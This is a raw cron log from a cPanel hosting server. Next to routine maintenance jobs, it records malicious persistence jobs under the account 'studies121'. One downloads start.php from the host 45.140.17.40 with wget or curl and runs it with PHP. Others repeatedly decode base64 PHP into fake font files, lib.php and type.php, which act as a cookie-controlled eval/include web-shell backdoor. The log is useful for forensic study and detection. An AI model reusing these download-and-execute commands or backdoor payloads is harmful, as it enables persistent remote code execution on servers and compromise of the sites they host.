Sep  4 07:19:01 ip-184-168-122-23 CROND[13625]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 07:20:01 ip-184-168-122-23 CROND[13803]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  4 07:20:01 ip-184-168-122-23 CROND[13805]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 07:20:01 ip-184-168-122-23 CROND[13808]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 07:20:01 ip-184-168-122-23 CROND[13807]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 07:20:01 ip-184-168-122-23 CROND[13809]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 07:20:01 ip-184-168-122-23 CROND[13810]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 07:20:01 ip-184-168-122-23 CROND[13811]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 07:20:01 ip-184-168-122-23 CROND[13812]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 07:20:01 ip-184-168-122-23 CROND[13813]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 07:21:01 ip-184-168-122-23 CROND[13955]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 07:21:01 ip-184-168-122-23 CROND[13959]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 07:21:01 ip-184-168-122-23 CROND[13958]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 07:21:01 ip-184-168-122-23 CROND[13957]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 07:22:01 ip-184-168-122-23 CROND[14105]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 07:22:01 ip-184-168-122-23 CROND[14104]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 07:22:01 ip-184-168-122-23 CROND[14106]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 07:22:01 ip-184-168-122-23 CROND[14109]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 07:22:01 ip-184-168-122-23 CROND[14107]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 07:23:01 ip-184-168-122-23 CROND[14204]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 07:23:01 ip-184-168-122-23 CROND[14203]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 07:23:01 ip-184-168-122-23 CROND[14206]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 07:23:01 ip-184-168-122-23 CROND[14210]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 07:24:01 ip-184-168-122-23 CROND[14312]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 07:24:01 ip-184-168-122-23 CROND[14314]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 07:24:01 ip-184-168-122-23 CROND[14317]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 07:24:01 ip-184-168-122-23 CROND[14316]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 07:24:01 ip-184-168-122-23 CROND[14315]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 07:25:01 ip-184-168-122-23 CROND[14400]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 07:25:01 ip-184-168-122-23 CROND[14401]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 07:25:01 ip-184-168-122-23 CROND[14405]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 07:25:01 ip-184-168-122-23 CROND[14403]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 07:25:01 ip-184-168-122-23 CROND[14404]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 07:25:01 ip-184-168-122-23 CROND[14407]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 07:26:01 ip-184-168-122-23 CROND[14533]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 07:26:01 ip-184-168-122-23 CROND[14534]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 07:26:01 ip-184-168-122-23 CROND[14537]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 07:26:01 ip-184-168-122-23 CROND[14539]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 07:26:01 ip-184-168-122-23 CROND[14538]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 07:27:01 ip-184-168-122-23 CROND[14719]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 07:27:01 ip-184-168-122-23 CROND[14720]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 07:27:01 ip-184-168-122-23 CROND[14722]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 07:27:01 ip-184-168-122-23 CROND[14723]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 07:28:01 ip-184-168-122-23 CROND[14832]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 07:28:01 ip-184-168-122-23 CROND[14833]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 07:28:01 ip-184-168-122-23 CROND[14835]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 07:28:01 ip-184-168-122-23 CROND[14837]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 07:28:01 ip-184-168-122-23 CROND[14839]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 07:29:01 ip-184-168-122-23 CROND[14943]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 07:29:01 ip-184-168-122-23 CROND[14944]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 07:29:01 ip-184-168-122-23 CROND[14945]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 07:29:01 ip-184-168-122-23 CROND[14946]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 07:30:01 ip-184-168-122-23 CROND[15083]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 07:30:01 ip-184-168-122-23 CROND[15085]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 07:30:01 ip-184-168-122-23 CROND[15088]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 07:30:01 ip-184-168-122-23 CROND[15089]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 07:30:01 ip-184-168-122-23 CROND[15091]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 07:30:01 ip-184-168-122-23 CROND[15097]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 07:30:01 ip-184-168-122-23 CROND[15094]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 07:30:01 ip-184-168-122-23 CROND[15096]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 07:31:01 ip-184-168-122-23 CROND[15209]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 07:31:01 ip-184-168-122-23 CROND[15211]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 07:31:02 ip-184-168-122-23 CROND[15212]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 07:31:02 ip-184-168-122-23 CROND[15214]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  4 07:31:02 ip-184-168-122-23 CROND[15215]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
